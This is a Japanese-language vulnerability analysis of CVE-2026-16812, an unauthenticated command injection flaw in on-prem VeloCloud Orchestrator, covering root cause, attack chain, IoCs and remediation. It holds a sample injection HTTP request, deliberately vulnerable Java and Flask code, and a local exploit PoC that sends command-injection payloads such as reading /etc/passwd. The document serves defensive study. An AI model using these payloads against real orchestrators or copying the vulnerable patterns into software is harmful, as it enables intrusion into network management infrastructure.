エグゼクティブサマリー
CVE-2026-16812 は、オンプレミス版のArista VeloCloud Orchestrator(VCO) 環境に影響を及ぼす深刻な未認証OSコマンドインジェクション脆弱性 です。CVSS v3.1 およびCVSS v4.0 の両方でCVSSスコア10.0 が付与されており、テナントやオペレーターの認証情報を必要とせず、リモートの攻撃者が任意のOSコマンドを実行できてしまいます。Aristaはこの脆弱性が実際に悪用されている ことを確認しています。
根本原因は2つのセキュリティ境界 が同時に破られたことにあります。本来は内部専用であるはずのバックエンド機能がVCOのWebインターフェース経由でリモートからアクセス可能になっていたうえ、攻撃者が制御可能な入力がその後OSコマンドに組み込まれ、未認証でのリモートコード実行につながりました。オーケストレーターはSD-WANインフラの中枢管理プラットフォームであるため、侵害の影響は単一サーバーにとどまらず、管理下にあるVeloCloud Edge デバイスやネットワーク構成、認証情報、証明書といった機密性の高い管理資産にまで及ぶ可能性があります。
CISA はこの脅威の深刻さを踏まえ、2026年7月27日 にCVE-2026-16812 を既知の悪用済み脆弱性(KEV)カタログ に追加し、対象となる連邦機関に対して2026年7月30日 までに脆弱なシステムを修復するよう求めました。この異例の速さでの対応期限は、実際に悪用が進行していること、未認証で攻撃可能であること、そして企業のSD-WAN環境が完全に侵害されうることを重く見た結果です。
注目すべき点として、2026年8月7日 時点でも、多くのネットワークホストが依然として脆弱な状態のままです。この脆弱性を悪用すれば、オンプレミス環境を運用する企業を標的にできてしまいます。Resecurityは、公開されたゼロデイ脆弱性の悪用が、標的型のネットワーク侵入やランサムウェア活動に利用される可能性があると予測しています。
VeloCloud Orchestratorとは
VeloCloud Orchestrator(VCO) は、VeloCloud SD-WANプラットフォームにおける中央集権型の管理プレーン です。管理者はこの単一インターフェースを通じて、分散配置されたEdgeデバイスのプロビジョニングと管理、設定テンプレートの展開、ネットワークポリシーの適用、証明書の管理、デバイス台帳の維持、SD-WAN環境全体の稼働状況の監視を行うことができます。
一般的なオンプレミスのVeloCloud環境は、論理的に3つのプレーンに分かれています。
- 管理プレーン –VeloCloud Orchestrator(VCO): デバイスのライフサイクル、設定、管理操作、証明書、監視を管理します。
- 制御プレーン –VeloCloud Controller: ルーティング制御、トンネル確立、Edgeデバイス間の制御プレーン通信を調整します。
- データプレーン –VeloCloud EdgeおよびHubアプライアンス: アプリケーショントラフィックを転送し、拠点および企業ネットワーク全体でルーティングおよびセキュリティポリシーを適用します。
これらのプレーンはそれぞれ役割が異なりますが、Orchestratorはセキュリティ上、最も重要なコンポーネント と言えます。SD-WAN展開全体に対する信頼された管理主体として機能しているためです。デバイスのプロビジョニング、設定更新の配布、証明書の管理、接続されたEdgeアプライアンスに対する管理権限の維持を担っています。そのため、Orchestratorが侵害された場合の影響は、一般的なWebアプリケーションの侵害をはるかに超え、SD-WAN環境全体のセキュリティと完全性を損なう恐れがあります。
複数の製品名が存在する理由
VeloCloud Orchestrator(VCO) プラットフォームは長年にわたり所有者が何度か変わっており、その結果として企業環境内には複数の製品名が今も混在しています。もともとはVeloCloud Networks が開発したSD-WANプラットフォームで、その後VMware 傘下、続いてBroadcom 傘下となり、現在のブランド名で提供が続いています。そのため、セキュリティアドバイザリ、ドキュメント、資産台帳、運用システムなどでは、同一製品が異なる名称で参照されていることがあります。
この命名の変遷は、脆弱性管理やインシデント対応の実務に影響を及ぼします。組織では資産台帳、DNSレコード、SSL証明書、仮想マシン名、監視プラットフォーム、脆弱性スキャナー、サポート文書などに旧来の名称が残っていることが少なくありません。一つの製品名だけで検索していると、脆弱な環境を見落としてしまう恐れがあります。
影響を受けている可能性のあるシステムを特定する際は、以下のような一般的な製品名すべてで検索してください。
- VeloCloud Orchestrator
- VeloCloud Orchestrator On-Prem
- VCO
- VECO
- VMware SD-WAN Orchestrator
- Broadcom VeloCloud
- Edge Cloud Orchestrator
現行および過去の製品名の両方を含めて資産の洗い出しを行うことで、露出評価、脆弱性管理、パッチ適用、インシデント対応の各活動において脆弱なシステムを確実に特定できるようになります。
VeloCloud Orchestratorが管理するもの
真に守るべき資産は、VeloCloud Orchestrator(VCO) の仮想マシンそのものではなく、それが体現している管理権限 です。SD-WAN展開の中央管理プラットフォームとして、Orchestratorはデバイスのプロビジョニング、設定の配布、管理操作、そしてネットワークが安全に機能するために必要な信頼関係の維持を担っています。
Orchestratorはまた、プラットフォームの公開鍵基盤(PKI) においても中心的な役割を果たしています。Orchestrator、Controller、Edgeデバイス間の管理プレーン通信を認証するための証明書ライフサイクルを管理しており、オンプレミス環境では証明書の発行・管理のために外部の認証局(CA)と連携する場合もあります。
展開形態にもよりますが、Orchestratorは以下のような企業の重要資産を保持、あるいはそれらへのアクセス経路を提供している場合があります。
- デバイス台帳とネットワークトポロジー
- 企業およびオペレーターの設定情報
- 管理者アカウントと役割の割り当て
- デバイスのアクティベーションおよびプロビジョニング情報
- 設定テンプレートと展開プロファイル
- EdgeおよびGatewayの運用データ
- データベースレコードと運用メタデータ
- 証明書、暗号鍵、PKIライフサイクル情報
- API連携およびサービス認証情報
- 監視、ログ、アラート設定
- 過去のリンク、フロー、ルーティングのテレメトリ
- 診断バンドルおよびトラブルシューティングデータ
- 分散拠点インフラの管理情報
これらの資産を見れば、OrchestratorがVeloCloud環境において最も価値の高いコンポーネント とみなされる理由がわかります。侵害が成功した場合、単一の管理サーバーにとどまらず、機密性の高い設定データ、管理者の認証情報、暗号鍵素材、デバイス台帳、運用テレメトリ、さらには分散配置されたEdgeデバイスを管理するために使われる信頼関係そのものまでもが露呈する恐れがあります。
何が起きたのか
CVE-2026-16812 は、VeloCloud Orchestrator(VCO)のオンプレミス 展開に影響する深刻な未認証OSコマンドインジェクション脆弱性(CWE-78) です。CVSS v3.1 およびCVSS v4.0 の両方で最大値であるCVSS 10.0 の深刻度が付与されており、テナント、オペレーター、管理者いずれの認証情報も不要な状態で、リモートの攻撃者がオーケストレーター上で任意のOSコマンドを実行できます。
この脆弱性は2つのセキュリティ境界 の破綻に起因します。本来は内部利用のみを意図していた特権的なバックエンド機能が、VCOのWebインターフェース経由で到達可能になっており、外部から到達すべきではない機能が露出していました。さらにその機能は、攻撃者が制御可能な入力をOSコマンド実行に組み込んでおり、結果としてオーケストレーターのホスト上で未認証のリモートコード実行(RCE) が成立してしまいました。
Orchestratorが SD-WAN環境の管理プレーン を担っていることから、悪用が成功した場合の影響は単一サーバーにとどまりません。侵害されたオーケストレーターからは、機密性の高い設定データ、管理者の認証情報、証明書、暗号鍵、デバイス台帳などの管理資産が露呈する可能性があるうえ、攻撃者に対して管理下のEdgeデバイスへ影響を及ぼせる信頼された立場を与えてしまいます。
この脆弱性は実際に悪用されている ことが確認されており、CISAの既知の悪用済み脆弱性(KEV)カタログ に追加されるに至りました。対象組織に課された迅速な修復期限は、未認証でリモートから悪用可能であること、実際に攻撃が行われていること、悪用が容易であること、そして企業のSD-WAN管理インフラが完全に侵害される可能性があること が組み合わさった結果です。
影響を受ける製品と修正済みバージョン
CVE-2026-16812 は、特定のオンプレミス版VeloCloud Orchestrator(VCO) のリリース系列に影響します。該当バージョンを稼働している組織は、直ちに対応する修正版へアップグレードする必要があります。ベンダーのアドバイザリによると、Hosted/Dedicated版のVCO展開 、およびVeloCloud Gateway とEdge アプライアンスは、この脆弱性の直接の影響を受けません 。
| リリース系列 | 状態 |
|---|---|
| VCO 5.2.x(5.2.3.14より前) | 脆弱 — 5.2.3.14以降へアップグレード |
| VCO 6.1.x(6.1.3.4より前) | 脆弱 — 6.1.3.4以降へアップグレード |
| VCO 6.4.x(6.4.2.4より前) | 脆弱 — 6.4.2.4以降へアップグレード |
| VCO 7.0.x(7.0.0.1より前) | 脆弱 — 7.0.0.1以降へアップグレード |
| VCO Hosted / Dedicated | 影響なし — 公開前にパッチ適用済み |
| VeloCloud Gateway | 影響なし |
| VeloCloud Edge | 影響なし |
根本原因:破綻した2つの境界
根本原因は、単に一つの入力検証チェックが欠落していたというだけではありません。独立した2つの制御機構が同時に破綻しました。内部専用の特権的な機能がリモートから到達可能になっていたこと、そして外部からの影響を受ける入力が無害化されないままOSシェルに到達したことです。以下の図は、一見普通に見えるHTTPリクエストが、どのようにして任意のコマンド実行に発展するのかを示しています。

1. 攻撃者
攻撃は、VeloCloud OrchestratorのWebインターフェースに送られる標準的なHTTPリクエストから始まります。脆弱な機能は事前の認証なしに到達可能であるため、攻撃者は管理インターフェースへのネットワーク接続性さえあれば、攻撃連鎖を開始できます。
ポイント
- 細工したHTTPリクエストを送信する。
- テナントやオペレーターの認証情報は不要。
- 公開されている管理インターフェースを標的とする。
2. VCO Webレイヤー
VCOのWebレイヤーは受信したリクエストを処理し、バックエンドのアプリケーションロジックへ振り分けます。通常であれば、このレイヤーは認証済みの機能のみを公開し、特権を持つ内部サービスへの外部からのアクセスを防ぐ役割を果たすべきです。
しかし脆弱な実装では、リクエストのルーティングロジックにより、外部から与えられた入力が本来は内部コンポーネント専用であるはずの機能に到達できてしまいます。
概念的な例
// Simplified illustration
@RequestMapping("/api/...")
public Response handle(Request req) {
return internalService.process(req);
}
問題はエンドポイントそのもの ではなく、リクエストが有効なセキュリティ境界を経ないまま特権的な内部ロジックへ転送されてしまう点にあります。
3. 内部機能
リクエストは、直接の外部アクセスではなく、信頼された内部通信のために設計されたバックエンド機能に到達します。これが最初に破綻したセキュリティ境界 であり、特権を持つアプリケーションコンポーネントがネットワークから到達可能になってしまっている状態です。
この境界を越えると、本来任意のクライアント制御データを処理することを想定していなかった実行パスに、信頼できないユーザー入力が入り込みます。
本来意図された設計
// Internal-only service
class InternalService {
Response process(Request req) {
// Trusted backend logic
}
}
このサービスは、外部からのリクエストから直接ではなく、信頼されたアプリケーションコンポーネントを経由してのみアクセス可能であるべきです。
4. コマンドビルダー
内部機能は最終的に、受信したリクエストから得た値を使ってOSコマンドを組み立てます。ユーザー入力を単なるアプリケーションデータとして扱う代わりに、この実装ではそれをOSが実行するコマンドに組み込んでしまっています。
簡略化した脆弱なパターン
String command = buildSystemCommand(userInput);
Runtime.getRuntime().exec(command);
この脆弱性は、外部から与えられたデータが通常のアプリケーション入力として隔離されず、OSが実行するコマンドに影響を与えてしまうことに起因します。
5. OSシェル
組み立てられたコマンドがOSに到達すると、VeloCloud Orchestratorサービスに割り当てられた権限でそのコマンドが実行されます。これが2つ目に破綻したセキュリティ境界 であり、アプリケーション層の入力が特権的なOS実行の領域に踏み込んでしまう瞬間です。
この段階に達すると、影響はWebアプリケーション自体を超えて基盤となるホストにまで及び、通常であればシステムへの直接アクセスが必要な操作までもが可能になってしまいます。
6. VCOホストの侵害
OSコマンドの実行に成功すると、オーケストレーターホストが完全に侵害されます。オーケストレーターはSD-WAN環境の中央管理主体であるため、このシステムの侵害は単一サーバーの侵害をはるかに超える影響をもたらします。
攻撃者は以下のようなことが可能になる恐れがあります。
- 機密性の高い設定データを取得する。
- 管理用データベースにアクセスする。
- 認証情報や証明書を入手する。
- オーケストレーターの設定を変更する。
- 永続的なアクセス経路を確立する。
- 他のインフラへ横展開する。
- 信頼された管理チャネルを通じて、接続されたVeloCloud Edgeデバイスに影響を及ぼす。
なぜ2つの境界が破綻したのか
いずれか一方の制御機構の破綻だけでは、必ずしもシステムの完全な侵害には至らなかったはずです。
この脆弱性が深刻な事態に発展したのは、2つの信頼境界が連鎖的に破綻した ためです。
破綻した境界その1 — 内部機能の露出
信頼された内部通信のみを想定していたバックエンド機能が、外部に公開されたWebインターフェース経由でアクセス可能になっており、信頼できないリクエストが特権的なアプリケーションロジックに到達できてしまっていました。
破綻した境界その2 — 安全でないコマンド実行
攻撃者が制御可能な入力が、十分な隔離や検証を経ないままOSコマンドに組み込まれており、アプリケーションが基盤となるホスト上でコマンドを実行できる状態になっていました。
脆弱なコードパターン:原因の実態
実際のVCOのソースコードは公開されていませんが、この脆弱性のクラス自体はよく知られたものです。以下は、2つの危険な設計上の選択、すなわちWeb層に露出した内部ヘルパー関数と、シェルコマンドに連結されたユーザー入力を再現した代表的なJava/Pythonスタイルのサンプルです。
// Vulnerable conceptual pattern (NOT actual VCO code)
@RestController
public class InternalDiagnosticController {
// BUG #1: Internal-only endpoint exposed to the web interface
@PostMapping("/internal/diagnostic/run")
public ResponseEntity<String> runDiagnostic(@RequestParam String targetLabel) {
// BUG #2: User input concatenated into a shell command
String cmd = "/opt/vco/bin/diag_tool --target " + targetLabel;
// BUG #3: Shell interpreter invoked
Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
...
}
}
このパターンでは、攻撃者は以下のような値を送信します。シェルはセミコロンをコマンドの区切り文字として解釈し、正規のユーティリティの後に攻撃者が指定したコマンドを実行してしまいます。
POST /internal/diagnostic/run HTTP/1.1
Host: vco.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
targetLabel=edge-123%3b+whoami+%3e+%2ftmp%2fpwned.txt
このパターンが危険な理由
- 内部機能が外部に露出している:ネットワーク層の信頼境界が失われている。
- コマンドへの文字列連結:攻撃者のデータをシェル構文として扱ってしまう。
- シェルインタープリタ(sh -cまたはshell=True)の使用:;、&&、|、$(…)、バッククォートなどのメタ文字を展開してしまう。
- 認証チェックの欠如:そのポートに到達できる者なら誰でもこのシンクを起動できる。
- 管理プレーンが標的:このホストはSD-WANの鍵、設定、デバイス権限を保持している。
安全なパターン:本来あるべき実装
安全な設計では多層防御を用います。内部機能を公開ルートに載せないこと、ユーザー入力を厳格な許可リストで検証すること、そしてサブプロセスをシェルインタープリタを介さずに起動することです。
// Safer conceptual pattern (NOT actual VCO code)
@RestController
public class DiagnosticController {
private static final Pattern SAFE_LABEL = Pattern.compile("^[A-Za-z0-9._-]{1,64}$");
// 1. Internal endpoints must NOT be reachable from the web interface.
// This helper is only called by local services, not exposed via @RequestMapping.
public String internalDiagnostic(String targetLabel) {
// 2. Strictly validate the input as data, not as shell syntax.
if (!SAFE_LABEL.matcher(targetLabel).matches()) {
throw new IllegalArgumentException("Invalid diagnostic label");
}
// 3. Pass arguments as an array, with NO shell interpreter.
ProcessBuilder pb = new ProcessBuilder(
"/opt/vco/bin/diag_tool",
"--target",
targetLabel
);
pb.inheritIO();
Process process = pb.start();
...
}
}
安全な版との違いは3点あります。内部ヘルパー関数がHTTPルートにマッピングされていないこと、入力がいかなるシステムコールに触れる前に許可リストで制限されていること、そしてプロセスがシェルコマンド文字列ではなく引数の配列で起動されていることです。これらの制御機構はどれか一つでもあれば未認証のRCEを防げたはずであり、組み合わせることで設計全体の耐性が高まります。
攻撃連鎖:1件のHTTPリクエストからSD-WAN制御奪取まで
CVE-2026-16812は、典型的なWebアプリケーションの脆弱性をはるかに超えるものです。限られたアプリケーションデータを露出させるだけでなく、SD-WANインフラの管理プレーン そのものを標的にしています。未認証の単一HTTPリクエストを悪用するだけで、攻撃者は初期のネットワークアクセスからVeloCloud Orchestratorの完全な制御へと移行でき、その配下にあるすべてのEdgeデバイスに影響を及ぼせる可能性があります。

ステージ1 — 偵察
攻撃は、公開されているVeloCloud Orchestrator(VCO) の管理インターフェースを特定することから始まります。攻撃者は一般的に、インターネット全体をスキャンするプラットフォーム、証明書透明性ログ、DNS列挙、資産探索ツールなどを使い、標準的なHTTPSポートで待ち受けている公開状態のVCOインスタンスを見つけ出します。
ステージ2 — 未認証でのネットワークアクセス
脆弱なOrchestratorを特定すると、攻撃者はそのWebインターフェースへ直接接続します。脆弱な機能はテナント、オペレーター、管理者いずれの認証もなしに到達可能であるため、悪用の開始に認証情報は一切必要ありません。
ステージ3 — 内部機能の露出
特別に細工されたHTTPリクエストが、信頼された内部通信専用に設計されたバックエンド機能に到達します。信頼境界が破綻していることにより、本来ローカル利用を想定していた特権的な機能が、外部に公開されたWebアプリケーション経由でアクセス可能になっています。
ステージ4 — OSコマンドインジェクション
露出したバックエンド機能は、攻撃者が制御する入力を用いてOSコマンドを組み立てます。この入力がシェルに到達する前に安全に処理されないため、コマンド区切り文字やシェルのメタ文字によってOrchestratorのホスト上で任意のコマンドが実行可能となり、未認証のリモートコード実行(CWE-78) につながります。
ステージ5 — Orchestratorの侵害
コマンド実行に成功すると、攻撃者はVCOホストの制御を手に入れます。この立場を足がかりに、永続化の仕込み、データベースへのアクセス、証明書や認証情報の窃取、管理設定の変更、ログの無効化、追加ペイロードの実行、そして企業ネットワークのより深部への横展開が可能になります。
ステージ6 — SD-WANインフラの侵害
最終段階では、Orchestratorが管理下のVeloCloud Edge デバイスとの間に築いている信頼関係が悪用されます。Orchestratorは設定と管理ポリシーを配布する立場にあるため、攻撃者は悪意ある設定変更を送り込んだり、ルーティングやVPNの設定を書き換えたり、ファイアウォールポリシーを変更したり、不正な証明書を展開したりするなど、接続されている拠点インフラに影響を及ぼすことができます。
ラボ環境での再現
Aristaは実際のエンドポイントやペイロードを公開していないため、以下のPython/Flaskによるラボは、この脆弱性クラスをローカル環境のみで制御された形で再現するものです。内部診断ユーティリティが誤ってWebインターフェース経由で公開され、無害化されていない入力とともにshell=Trueが使われているという、アドバイザリで説明されているパターンをそのまま模しています。
脆弱なラボコード
vulnerable_vco.pyというファイルが、シミュレートされたポータルを実装しています。重要なのはf文字列によるcmdの組み立てと、それに続くsubprocess.run(…, shell=True)の呼び出しです。この2つが組み合わさることで、CWE-78のパターンが再現されます。
#!/usr/bin/env python3
# vulnerable_vco.py — EDUCATIONAL lab only. Run on 127.0.0.1.
from flask import Flask, request, render_template_string
import subprocess
app = Flask(__name__)
@app.route("/internal/diag", methods=["POST"])
def internal_diag():
target = request.form.get("target", "")
if not target:
return "Missing target", 400
# VULNERABLE PATTERN:
# 1. Internal function exposed to the web interface.
# 2. User input concatenated into a shell command string.
# 3. shell=True lets the shell interpret metacharacters.
cmd = f"/opt/vco/bin/diagtool --target {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
return f"STDOUT:
{result.stdout}
STDERR:
{result.stderr}
Return code: {result.returncode}", 200
エクスプロイトPoC
exploit_poc.pyスクリプトは、コマンドラインから攻撃を自動化します。無害なリクエスト、コマンド連結ペイロード、コマンド置換ペイロード、ファイルアクセスペイロード、シェル起動ペイロードをそれぞれ送信します。サーバーがid、whoami、wcの実行結果を返せば、コマンドインジェクションが成立していることが確認できます。
#!/usr/bin/env python3
# exploit_poc.py — Educational PoC for the local lab only.
import urllib.parse, urllib.request
TARGET_URL = "http://127.0.0.1:8080/internal/diag"
LOCAL_OPENER = urllib.request.build_opener(urllib.request.ProxyHandler({}))
PAYLOADS = [
("127.0.0.1", "benign"),
("127.0.0.1; id", "command chaining"),
("127.0.0.1; $(whoami)", "command substitution"),
("127.0.0.1; wc -l /etc/passwd", "file access"),
]
def send_payload(payload):
data = urllib.parse.urlencode({"target": payload}).encode("utf-8")
req = urllib.request.Request(TARGET_URL, data=data, method="POST")
with LOCAL_OPENER.open(req, timeout=10) as resp:
return resp.read().decode("utf-8", errors="replace")
for payload, label in PAYLOADS:
print(f"
[{label}] payload: {payload}")
print(send_payload(payload))
ラボの構成要素
- vulnerable_vco.py — 内部診断エンドポイントが露出した、オンプレミスVCOのシミュレーション。
- exploit_poc.py — ラボのエンドポイントに無害なペイロードと悪意あるペイロードを送信する教育用PoC。
- verify_exploit.py — 任意のコマンド実行が成立していることを確認する自動検証スクリプト。
- create_labeled_screenshots.py — レポート用のキャプション付きスクリーンショットを生成する。
ラボの実行方法
# Terminal 1 — vulnerable VCO simulator on http://127.0.0.1:8080
python3 vulnerable_vco.py
# Terminal 2 — manual exploit PoC
python3 exploit_poc.py
# Terminal 3 — automated verification
python3 verify_exploit.py
脆弱なエンドポイントのコード
# vulnerable_vco.py (excerpt)
@app.route("/internal/diag", methods=["POST"])
def internal_diag():
target = request.form.get("target", "")
# VULNERABLE: internal utility reachable without auth and uses shell=True
cmd = f"/opt/vco/bin/diagtool --target {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
return result.stdout + result.stderr, 200
PoCペイロード
# exploit_poc.py (selected payloads)
PAYLOADS = [
("127.0.0.1", "benign"),
("127.0.0.1; id", "command chaining"),
("127.0.0.1; wc -l /etc/passwd", "file access"),
("127.0.0.1; bash -c 'echo vulnerable'", "shell invocation"),
想定される検証結果
[*] Starting vulnerable VCO simulator...
[+] VCO simulator is up
[*] Sending benign diagnostic request...
[*] Sending command-injection payload: 127.0.0.1; id
STDOUT:
uid=501(karimhabeeb) gid=20(staff) ...
STDERR:
/bin/sh: /opt/vco/bin/diagtool: No such file or directory
[+] SUCCESS: Command injection confirmed — arbitrary OS command executed.
ステップ1 — シミュレートされたポータル
このラボでは、「Target host」というラベルの付いたシンプルなWebフォームが表示されます。通常の管理者であれば、127.0.0.1のようなIPアドレスを入力し、Run Diagnosticをクリックするといった操作を行うでしょう。

ステップ2 — 無害な診断
値として127.0.0.1を入力すると、アプリケーションは内部診断ツールを呼び出します。コマンドは正常に完了し、期待通りの出力が返されます。

ステップ3 — コマンドインジェクション
攻撃者は、本来意図された引数を終端させたうえで新しいシェルコマンドを追加する値を入力します。脆弱なエンドポイントはその値をそのままコマンド文字列に連結し、シェルインタープリタへ渡してしまいます。結果には攻撃者が指定したコマンドの出力が含まれます。

ステップ4 — 機密ファイルへのアクセス
同じインジェクションの手法は、ホスト上のファイルの読み取りにも利用できます。以下のスクリーンショットは、攻撃者が/etc/passwdの行数を数えている様子を示しており、このプロセスが機密性の高いOSコンテンツにアクセスできることを証明しています。

侵害の痕跡(IoC)
| 指標 | 対応指針 |
|---|---|
| 攻撃者のIPアドレス | 8.19.75.217、206.72.242.124、206.72.242.162 — 過去の接続履歴を調査し、正当な業務に必要でない場合はブロックを検討してください。 |
| Webおよびアプリケーションログ | 不審なURLパス、URLエンコードされたペイロード、localhostを参照するリクエスト、内部サービス、想定外の管理用エンドポイントへのアクセスがないか確認してください。 |
| ホストのテレメトリ | 予期しないシェル実行、VCOサービスから生成された新しい子プロセス、外向きのHTTPS接続、アーカイブの作成(ZIP/TARなど)、異常なデータベースアクセスがないか調査してください。 |
| 管理者の活動 | 新規作成された管理者アカウント、権限やロールの変更、想定外の設定展開、証明書の発行や差し替えイベント、不正な管理操作がないか確認してください。 |
| VeloCloud Edgeの状態 | 説明のつかない設定変更、想定外のデバイスアクティベーション、ルーティングやファイアウォールの変更、VPNトンネルの鍵再生成イベント、Orchestratorから伝播したその他の不正な変更がないか調査してください。 |
ビジネスへの影響
CVE-2026-16812 の悪用が成功した場合、大きな業務上・セキュリティ上の影響が生じる可能性があります。この脆弱性が、展開全体にとって信頼された権限を持つSD-WAN管理プレーン を標的としているためです。Orchestratorが侵害されると、攻撃者はインフラを操作したり、機密性の高い管理資産にアクセスしたり、接続されたデバイスへ制御を拡大したりできる可能性があります。
- Orchestratorの完全な侵害 – 任意のOSコマンドを実行し、機密ファイルにアクセスし、システム設定を変更し、悪意あるツールを展開し、VCOホストに対する永続的な制御を確立できます。
- 重要な管理データの露出 – デバイス台帳、企業設定、管理者アカウント、データベース、証明書、暗号鍵、API認証情報など、機密性の高い管理情報にアクセスされる可能性があります。
- SD-WANインフラの操作 – 不正な設定変更の送り込み、ルーティングポリシーの変更、ファイアウォールルールの改変、VPNパラメータの変更、管理下環境全体にわたるネットワークトンネルの再構成が可能になります。
- 管理下Edgeデバイスの侵害 – Orchestratorは信頼された管理主体であるため、侵害されたVCOを利用して、接続されたVeloCloud Edge アプライアンスに悪意ある設定や管理変更を配布され、全体の攻撃対象領域が拡大する恐れがあります。
- 永続化と権限の維持 – 管理者アカウントの作成、常駐サービスのインストール、SSHキーの追加、起動スクリプトの変更、システム再起動やソフトウェア更新を乗り越える自動タスクのスケジューリングなどにより、長期的なアクセス経路が確立される恐れがあります。
- 防御回避とアンチフォレンジック – ログの改ざんや無効化、フォレンジック証跡の削除、監査記録の改ざん、セキュリティ監視プロセスの停止などにより、可視性を低下させ検知やインシデント対応を遅延させる恐れがあります。
- 横展開 – 侵害されたOrchestratorを信頼された足がかりとして利用し、接続された管理システム、内部サービス、あるいはSD-WAN管理ネットワークから到達可能な企業インフラへアクセスされる恐れがあります。
- 業務の混乱 – 不正な設定変更や管理機能の操作により、拠点間接続、ルーティングの安定性、VPNの可用性、そして企業SD-WAN環境全体の信頼性に影響が及ぶ可能性があります。
- 全社的な影響 – 従来型のWebアプリケーション侵害とは異なり、管理プレーンの悪用はOrchestratorが管理するすべてのデバイスと拠点に影響を及ぼす可能性があり、攻撃が成功した場合の被害範囲とビジネスインパクトを大幅に拡大させます。
推奨される対応策
オンプレミス版のVeloCloud Orchestrator(VCO) を運用している組織は、CVE-2026-16812 を優先度の高いセキュリティインシデントとして扱う必要があります。この脆弱性はSD-WAN管理プレーン上での未認証リモートコード実行を可能にするため、直ちに修復を行い、侵害後の検証を実施することが推奨されます。
- 直ちにアップグレードする – 修正済みのVCOリリースへアップグレードしてください。
- 5.2.x → 5.2.3.14 以降
- 6.1.x → 6.1.3.4 以降
- 6.4.x → 6.4.2.4 以降
- 7.0.x → 7.0.0.1 以降
- 侵害の可能性を前提とする – パッチ適用前にシステムがインターネットからアクセス可能だった場合は、本番環境に戻す前に不正アクセスの兆候を調査してください。
- 侵害の痕跡を確認する – Webログ、システムログ、プロセスの実行状況、外向きのネットワーク接続、管理者の活動、設定変更に不審な挙動がないか確認してください。
- 機密性の高い認証情報をローテーションする – 侵害が疑われる場合は、Orchestratorが管理する管理者パスワード、API認証情報、証明書、暗号鍵、SSHキーなどの認証情報をローテーションしてください。
- 管理下インフラを検証する – 管理下のEdgeデバイスについて、想定外の設定変更、ルーティングの変更、VPNパラメータの更新、ファイアウォールポリシーの変更、不正な管理操作がないか確認してください。
- 永続化の仕組みを排除する – ホスト上に不正なユーザーアカウント、スケジュールタスク、起動スクリプト、サービス、SSHキーなど、攻撃者によって確立された永続化手法がないか調査してください。
- 管理アクセスを制限する – ファイアウォール、VPN、IP許可リスト、あるいは専用の管理ネットワークを用いて、Orchestratorの管理インターフェースへのアクセスを制限してください。可能な限り、管理インターフェースを直接インターネットに公開することは避けてください。
- 監視を強化する – SD-WAN環境全体にわたり、特権的な管理操作、プロセスの生成、外向きの接続、証明書の操作、設定変更について、強化されたログ記録と継続的な監視を有効にしてください。
- 包括的なセキュリティ評価を実施する – 悪用が確認された、または強く疑われる場合は、Orchestratorに対する包括的なフォレンジック調査を実施し、通常運用に復帰させる前に、接続されているSD-WANデバイスの完全性を検証してください。
結論
CVE-2026-16812 は、独立した2つのセキュリティ境界の破綻が、内部専用の管理機能を深刻かつインターネット経由で悪用可能な脆弱性へと変えてしまう典型例です。特権的なバックエンド機能がWebインターフェース経由で露出し、信頼できない入力がOSコマンド実行に到達できてしまったことで、未認証のHTTPリクエスト一つからVeloCloud Orchestratorのホストが完全に侵害されるまでの直接的な経路が生まれてしまいました。
この欠陥は、従来型のWebアプリケーションの脆弱性とは異なり、デバイスのプロビジョニング、設定の配布、証明書の管理、そして展開全体のセキュリティ維持を担う信頼されたコンポーネントであるSD-WAN管理プレーン を標的としています。そのため、侵害が成功した場合の影響は単一サーバーにとどまらず、機密性の高い管理資産が露呈するとともに、攻撃者が管理下のEdgeデバイスや企業ネットワークインフラに影響を及ぼすことを可能にしてしまいます。
CVE-2026-16812が実際に悪用されている事実は、管理インターフェースを一般的なWebアプリケーションとしてではなく、価値の高い資産として保護することの重要性を浮き彫りにしています。組織は、影響を受けるOrchestrator環境を直ちにアップグレードし、侵害の痕跡を調査し、必要に応じて機密性の高い認証情報や証明書をローテーションし、通常運用に復帰させる前に管理下のEdgeデバイスや展開済み設定の完全性を検証すべきです。
結局のところ、この脆弱性は管理プレーンのセキュリティこそがインフラのセキュリティである ということを改めて示しています。中央集権的な制御プレーンにおけるたった一つの弱点が、SD-WAN環境全体に影響を及ぼしかねません。だからこそ、迅速なパッチ適用、継続的な監視、そして多層防御が、企業ネットワークを守るうえで不可欠なのです。